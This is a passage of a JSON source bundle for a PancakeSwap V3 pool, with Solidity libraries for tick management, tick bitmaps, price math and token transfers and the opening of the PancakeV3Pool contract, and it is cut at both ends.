amountIn,\n uint256 amountOut,\n uint256 feeAmount\n )\n {\n bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96;\n bool exactIn = amountRemaining >= 0;\n\n if (exactIn) {\n uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6);\n amountIn = zeroForOne\n ? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true)\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true);\n if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput(\n sqrtRatioCurrentX96,\n liquidity,\n amountRemainingLessFee,\n zeroForOne\n );\n } else {\n amountOut = zeroForOne\n ? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false)\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false);\n if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput(\n sqrtRatioCurrentX96,\n liquidity,\n uint256(-amountRemaining),\n zeroForOne\n );\n }\n\n bool max = sqrtRatioTargetX96 == sqrtRatioNextX96;\n\n // get the input/output amounts\n if (zeroForOne) {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false);\n } else {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false);\n }\n\n // cap the output amount to not exceed the remaining output amount\n if (!exactIn && amountOut > uint256(-amountRemaining)) {\n amountOut = uint256(-amountRemaining);\n }\n\n if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) {\n // we didn't reach the target, so take the remainder of the maximum input as fee\n feeAmount = uint256(amountRemaining) - amountIn;\n } else {\n feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips);\n }\n }\n}\n"
},
"contracts/libraries/Tick.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0 <0.8.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './TickMath.sol';\nimport './LiquidityMath.sol';\n\n/// @title Tick\n/// @notice Contains functions for managing tick processes and relevant calculations\nlibrary Tick {\n using LowGasSafeMath for int256;\n using SafeCast for int256;\n\n // info stored for each initialized individual tick\n struct Info {\n // the total position liquidity that references this tick\n uint128 liquidityGross;\n // amount of net liquidity added (subtracted) when tick is crossed from left to right (right to left),\n int128 liquidityNet;\n // fee growth per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint256 feeGrowthOutside0X128;\n uint256 feeGrowthOutside1X128;\n // the cumulative tick value on the other side of the tick\n int56 tickCumulativeOutside;\n // the seconds per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint160 secondsPerLiquidityOutsideX128;\n // the seconds spent on the other side of the tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint32 secondsOutside;\n // true iff the tick is initialized, i.e. the value is exactly equivalent to the expression liquidityGross != 0\n // these 8 bits are set to prevent fresh sstores when crossing newly initialized ticks\n bool initialized;\n }\n\n /// @notice Derives max liquidity per tick from given tick spacing\n /// @dev Executed within the pool constructor\n /// @param tickSpacing The amount of required tick separation, realized in multiples of `tickSpacing`\n /// e.g., a tickSpacing of 3 requires ticks to be initialized every 3rd tick i.e., ..., -6, -3, 0, 3, 6, ...\n /// @return The max liquidity per tick\n function tickSpacingToMaxLiquidityPerTick(int24 tickSpacing) internal pure returns (uint128) {\n int24 minTick = (TickMath.MIN_TICK / tickSpacing) * tickSpacing;\n int24 maxTick = (TickMath.MAX_TICK / tickSpacing) * tickSpacing;\n uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;\n return type(uint128).max / numTicks;\n }\n\n /// @notice Retrieves fee growth data\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @param tickCurrent The current tick\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function getFeeGrowthInside(\n mapping(int24 => Tick.Info) storage self,\n int24 tickLower,\n int24 tickUpper,\n int24 tickCurrent,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128\n ) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {\n Info storage lower = self[tickLower];\n Info storage upper = self[tickUpper];\n\n // calculate fee growth below\n uint256 feeGrowthBelow0X128;\n uint256 feeGrowthBelow1X128;\n if (tickCurrent >= tickLower) {\n feeGrowthBelow0X128 = lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = lower.feeGrowthOutside1X128;\n } else {\n feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lower.feeGrowthOutside1X128;\n }\n\n // calculate fee growth above\n uint256 feeGrowthAbove0X128;\n uint256 feeGrowthAbove1X128;\n if (tickCurrent < tickUpper) {\n feeGrowthAbove0X128 = upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = upper.feeGrowthOutside1X128;\n } else {\n feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upper.feeGrowthOutside1X128;\n }\n\n feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;\n feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;\n }\n\n /// @notice Updates a tick and returns true if the tick was flipped from initialized to uninitialized, or vice versa\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The tick that will be updated\n /// @param tickCurrent The current tick\n /// @param liquidityDelta A new amount of liquidity to be added (subtracted) when tick is crossed from left to right (right to left)\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The all-time seconds per max(1, liquidity) of the pool\n /// @param tickCumulative The tick * time elapsed since the pool was first initialized\n /// @param time The current block timestamp cast to a uint32\n /// @param upper true for updating a position's upper tick, or false for updating a position's lower tick\n /// @param maxLiquidity The maximum liquidity allocation for a single tick\n /// @return flipped Whether the tick was flipped from initialized to uninitialized, or vice versa\n function update(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n int24 tickCurrent,\n int128 liquidityDelta,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time,\n bool upper,\n uint128 maxLiquidity\n ) internal returns (bool flipped) {\n Tick.Info storage info = self[tick];\n\n uint128 liquidityGrossBefore = info.liquidityGross;\n uint128 liquidityGrossAfter = LiquidityMath.addDelta(liquidityGrossBefore, liquidityDelta);\n\n require(liquidityGrossAfter <= maxLiquidity, 'LO');\n\n flipped = (liquidityGrossAfter == 0) != (liquidityGrossBefore == 0);\n\n if (liquidityGrossBefore == 0) {\n // by convention, we assume that all growth before a tick was initialized happened _below_ the tick\n if (tick <= tickCurrent) {\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128;\n info.tickCumulativeOutside = tickCumulative;\n info.secondsOutside = time;\n }\n info.initialized = true;\n }\n\n info.liquidityGross = liquidityGrossAfter;\n\n // when the lower (upper) tick is crossed left to right (right to left), liquidity must be added (removed)\n info.liquidityNet = upper\n ? int256(info.liquidityNet).sub(liquidityDelta).toInt128()\n : int256(info.liquidityNet).add(liquidityDelta).toInt128();\n }\n\n /// @notice Clears tick data\n /// @param self The mapping containing all initialized tick information for initialized ticks\n /// @param tick The tick that will be cleared\n function clear(mapping(int24 => Tick.Info) storage self, int24 tick) internal {\n delete self[tick];\n }\n\n /// @notice Transitions to next tick as needed by price movement\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The destination tick of the transition\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The current seconds per liquidity\n /// @param tickCumulative The tick * time elapsed since the pool was first initialized\n /// @param time The current block.timestamp\n /// @return liquidityNet The amount of liquidity added (subtracted) when tick is crossed from left to right (right to left)\n function cross(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time\n ) internal returns (int128 liquidityNet) {\n Tick.Info storage info = self[tick];\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128 - info.secondsPerLiquidityOutsideX128;\n info.tickCumulativeOutside = tickCumulative - info.tickCumulativeOutside;\n info.secondsOutside = time - info.secondsOutside;\n liquidityNet = info.liquidityNet;\n }\n}\n"
},
"contracts/libraries/TickBitmap.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './BitMath.sol';\n\n/// @title Packed tick initialized state library\n/// @notice Stores a packed mapping of tick index to its initialized state\n/// @dev The mapping uses int16 for keys since ticks are represented as int24 and there are 256 (2^8) values per word.\nlibrary TickBitmap {\n /// @notice Computes the position in the mapping where the initialized bit for a tick lives\n /// @param tick The tick for which to compute the position\n /// @return wordPos The key in the mapping containing the word in which the bit is stored\n /// @return bitPos The bit position in the word where the flag is stored\n function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) {\n wordPos = int16(tick >> 8);\n bitPos = uint8(tick % 256);\n }\n\n /// @notice Flips the initialized state for a given tick from false to true, or vice versa\n /// @param self The mapping in which to flip the tick\n /// @param tick The tick to flip\n /// @param tickSpacing The spacing between usable ticks\n function flipTick(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing\n ) internal {\n require(tick % tickSpacing == 0); // ensure that the tick is spaced\n (int16 wordPos, uint8 bitPos) = position(tick / tickSpacing);\n uint256 mask = 1 << bitPos;\n self[wordPos] ^= mask;\n }\n\n /// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either\n /// to the left (less than or equal to) or right (greater than) of the given tick\n /// @param self The mapping in which to compute the next initialized tick\n /// @param tick The starting tick\n /// @param tickSpacing The spacing between usable ticks\n /// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick)\n /// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick\n /// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks\n function nextInitializedTickWithinOneWord(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing,\n bool lte\n ) internal view returns (int24 next, bool initialized) {\n int24 compressed = tick / tickSpacing;\n if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity\n\n if (lte) {\n (int16 wordPos, uint8 bitPos) = position(compressed);\n // all the 1s at or to the right of the current bitPos\n uint256 mask = (1 << bitPos) - 1 + (1 << bitPos);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the right of or at the current tick, return rightmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing\n : (compressed - int24(bitPos)) * tickSpacing;\n } else {\n // start from the word of the next tick, since the current tick state doesn't matter\n (int16 wordPos, uint8 bitPos) = position(compressed + 1);\n // all the 1s at or to the left of the bitPos\n uint256 mask = ~((1 << bitPos) - 1);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the left of the current tick, return leftmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing\n : (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing;\n }\n }\n}\n"
},
"contracts/libraries/TickMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0 <0.8.0;\n\n/// @title Math library for computing sqrt prices from ticks and vice versa\n/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports\n/// prices between 2**-128 and 2**128\nlibrary TickMath {\n /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128\n int24 internal constant MIN_TICK = -887272;\n /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128\n int24 internal constant MAX_TICK = -MIN_TICK;\n\n /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)\n uint160 internal constant MIN_SQRT_RATIO = 4295128739;\n /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)\n uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;\n\n /// @notice Calculates sqrt(1.0001^tick) * 2^96\n /// @dev Throws if |tick| > max tick\n /// @param tick The input tick for the above formula\n /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)\n /// at the given tick\n function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {\n uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));\n require(absTick <= uint256(MAX_TICK), 'T');\n\n uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;\n if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;\n if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;\n if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;\n if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;\n if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;\n if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;\n if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;\n if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;\n if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;\n if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;\n if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;\n if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;\n if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;\n if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;\n if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;\n if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;\n if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;\n if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;\n if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;\n\n if (tick > 0) ratio = type(uint256).max / ratio;\n\n // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.\n // we then downcast because we know the result always fits within 160 bits due to our tick input constraint\n // we round up in the division so getTickAtSqrtRatio of the output price is always consistent\n sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));\n }\n\n /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio\n /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may\n /// ever return.\n /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96\n /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio\n function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {\n // second inequality must be < because the price can never reach the price at the max tick\n require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');\n uint256 ratio = uint256(sqrtPriceX96) << 32;\n\n uint256 r = ratio;\n uint256 msb = 0;\n\n assembly {\n let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(5, gt(r, 0xFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(4, gt(r, 0xFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(3, gt(r, 0xFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(2, gt(r, 0xF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(1, gt(r, 0x3))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := gt(r, 0x1)\n msb := or(msb, f)\n }\n\n if (msb >= 128) r = ratio >> (msb - 127);\n else r = ratio << (127 - msb);\n\n int256 log_2 = (int256(msb) - 128) << 64;\n\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(63, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(62, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(61, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(60, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(59, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(58, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(57, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(56, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(55, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(54, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(53, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(52, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(51, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(50, f))\n }\n\n int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number\n\n int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);\n int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);\n\n tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;\n }\n}\n"
},
"contracts/libraries/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.6.0;\n\nimport '../interfaces/IERC20Minimal.sol';\n\n/// @title TransferHelper\n/// @notice Contains helper methods for interacting with ERC20 tokens that do not consistently return true/false\nlibrary TransferHelper {\n /// @notice Transfers tokens from msg.sender to a recipient\n /// @dev Calls transfer on token contract, errors with TF if transfer fails\n /// @param token The contract address of the token which will be transferred\n /// @param to The recipient of the transfer\n /// @param value The value of the transfer\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value)\n );\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'TF');\n }\n}\n"
},
"contracts/libraries/UnsafeMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math functions that do not check inputs or outputs\n/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks\nlibrary UnsafeMath {\n /// @notice Returns ceil(x / y)\n /// @dev division by 0 has unspecified behavior, and must be checked externally\n /// @param x The dividend\n /// @param y The divisor\n /// @return z The quotient, ceil(x / y)\n function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {\n assembly {\n z := add(div(x, y), gt(mod(x, y), 0))\n }\n }\n}\n"
},
"contracts/PancakeV3Pool.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity =0.7.6;\n\nimport './interfaces/IPancakeV3Pool.sol';\n\nimport './libraries/LowGasSafeMath.sol';\nimport './libraries/SafeCast.sol';\nimport './libraries/Tick.sol';\nimport './libraries/TickBitmap.sol';\nimport './libraries/Position.sol';\nimport './libraries/Oracle.sol';\n\nimport './libraries/FullMath.sol';\nimport './libraries/FixedPoint128.sol';\nimport './libraries/TransferHelper.sol';\nimport './libraries/TickMath.sol';\nimport './libraries/LiquidityMath.sol';\nimport './libraries/SqrtPriceMath.sol';\nimport './libraries/SwapMath.sol';\n\nimport './interfaces/IPancakeV3PoolDeployer.sol';\nimport './interfaces/IPancakeV3Factory.sol';\nimport './interfaces/IERC20Minimal.sol';\nimport './interfaces/callback/IPancakeV3MintCallback.sol';\nimport './interfaces/callback/IPancakeV3SwapCallback.sol';\nimport './interfaces/callback/IPancakeV3FlashCallback.sol';\n\nimport '@pancakeswap/v3-lm-pool/contracts/interfaces/IPancakeV3LmPool.sol';\n\ncontract PancakeV3Pool is IPancakeV3Pool {\n using LowGasSafeMath for uint256;\n using LowGasSafeMath for int256;\n using SafeCast for uint256;\n using SafeCast for int256;\n using Tick for mapping(int24 => Tick.Info);\n using TickBitmap for mapping(int16 => uint256);\n using Position for mapping(bytes32 => Position.Info);\n using Position for Position.Info;\n using Oracle for Oracle.Observation[65535];\n\n /// @inheritdoc IPancakeV3PoolImmutables\n address public immutable override factory;\n /// @inheritdoc IPancakeV3PoolImmutables\n address public immutable override token0;\n /// @inheritdoc IPancakeV3PoolImmutables\n address public immutable override token1;\n /// @inheritdoc IPancakeV3PoolImmutables\n uint24 public immutable override fee;\n\n /// @inheritdoc IPancakeV3PoolImmutables\n int24 public immutable override tickSpacing;\n\n /// @inheritdoc IPancakeV3PoolImmutables\n uint128 public immutable override maxLiquidityPerTick;\n\n uint32 internal constant PROTOCOL_FEE_SP = 65536;\n\n uint256 internal constant PROTOCOL_FEE_DENOMINATOR = 10000;\n\n struct Slot0 {\n // the current price\n uint160 sqrtPriceX96;\n // the current tick\n int24 tick;\n // the most-recently updated index of the observations array\n uint16 observationIndex;\n // the current maximum number of observations that are being stored\n uint16 observationCardinality;\n // the next maximum number of observations to store, triggered in observations.write\n uint16 observationCardinalityNext;\n // the current protocol fee for token0 and token1,\n // 2 uint32 values store in a uint32 variable (fee/PROTOCOL_FEE_DENOMINATOR)\n uint32 feeProtocol;\n // whether the pool is locked\n bool unlocked;\n }\n /// @inheritdoc IPancakeV3PoolState\n Slot0 public override slot0;\n\n /// @inheritdoc IPancakeV3PoolState\n uint256 public override feeGrowthGlobal0X128;\n /// @inheritdoc IPancakeV3PoolState\n uint256 public override feeGrowthGlobal1X128;\n\n // accumulated protocol fees in token0/token1 units\n struct ProtocolFees {\n uint128 token0;\n uint128 token1;\n }\n /// @inheritdoc IPancakeV3PoolState\n ProtocolFees public override protocolFees;\n\n /// @inheritdoc IPancakeV3PoolState\n uint128 public override liquidity;\n\n /// @inheritdoc IPancakeV3PoolState\n mapping(int24 => Tick.Info) public override ticks;\n /// @inheritdoc IPancakeV3PoolState\n mapping(int16 => uint256) public override tickBitmap;\n /// @inheritdoc IPancakeV3PoolState\n mapping(bytes32 => Position.Info) public override positions;\n /// @inheritdoc IPancakeV3PoolState\n Oracle.Observation[65535] public override observations;\n\n // liquidity mining\n IPancakeV3LmPool public lmPool;\n\n event SetLmPoolEvent(address addr);\n\n /// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance\n /// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because\n /// we use balance checks to determine the payment status of interactions such as mint, swap and flash.\n modifier lock() {\n require(slot0.unlocked, 'LOK');\n slot0.unlocked = false;\n _;\n slot0.unlocked = true;\n }\n\n /// @dev Prevents calling a function from anyone except the factory or its\n /// owner\n modifier onlyFactoryOrFactoryOwner() {\n require(msg.sender == factory || msg.sender == IPancakeV3Factory(factory).owner());\n _;\n }\n\n constructor() {\n int24 _tickSpacing;\n (factory, token0, token1, fee, _tickSpacing) = IPancakeV3PoolDeployer(msg.sender).parameters();\n tickSpacing = _tickSpacing;\n\n maxLiquidityPerTick = Tick.tickSpacingToMaxLiquidityPerTick(_tickSpacing);\n }\n\n /// @dev Common checks for valid tick inputs.\n function checkTicks(int24 tickLower, int24 tickUpper) private pure {\n require(tickLower < tickUpper, 'TLU');\n require(tickLower >= TickMath.MIN_TICK, 'TLM');\n require(tickUpper <= TickMath.MAX_TICK, 'TUM');\n }\n\n /// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.\n function _blockTimestamp() internal view virtual returns (uint32) {\n return uint32(block.timestamp); // truncation is desired\n }\n\n /// @dev Get the pool's balance of token0\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance0() private view returns (uint256) {\n (bool success, bytes memory data) = token0.staticcall(\n abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this))\n );\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @dev Get the pool's balance of token1\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance1() private view returns (uint256) {\n (bool success, bytes memory data) = token1.staticcall(\n abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this))\n );\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @inheritdoc IPancakeV3PoolDerivedState\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n override\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n )\n {\n checkTicks(tickLower, tickUpper);\n\n int56 tickCumulativeLower;\n int56 tickCumulativeUpper;\n uint160 secondsPerLiquidityOutsideLowerX128;\n uint160 secondsPerLiquidityOutsideUpperX128;\n uint32 secondsOutsideLower;\n uint32 secondsOutsideUpper;\n\n {\n Tick.Info storage lower = ticks[tickLower];\n Tick.Info storage upper = ticks[tickUpper];\n bool initializedLower;\n (tickCumulativeLower, secondsPerLiquidityOutsideLowerX128, secondsOutsideLower, initializedLower) = (\n lower.tickCumulativeOutside,\n lower.secondsPerLiquidityOutsideX128,\n lower.secondsOutside,\n lower.initialized\n );\n require(initializedLower);\n\n bool initializedUpper;\n (tickCumulativeUpper, secondsPerLiquidityOutsideUpperX128, secondsOutsideUpper, initializedUpper) = (\n upper.tickCumulativeOutside,\n upper.secondsPerLiquidityOutsideX128,\n upper.secondsOutside,\n upper.initialized\n );\n require(initializedUpper);\n }\n\n Slot0 memory _slot0 = slot0;\n\n if (_slot0.tick < 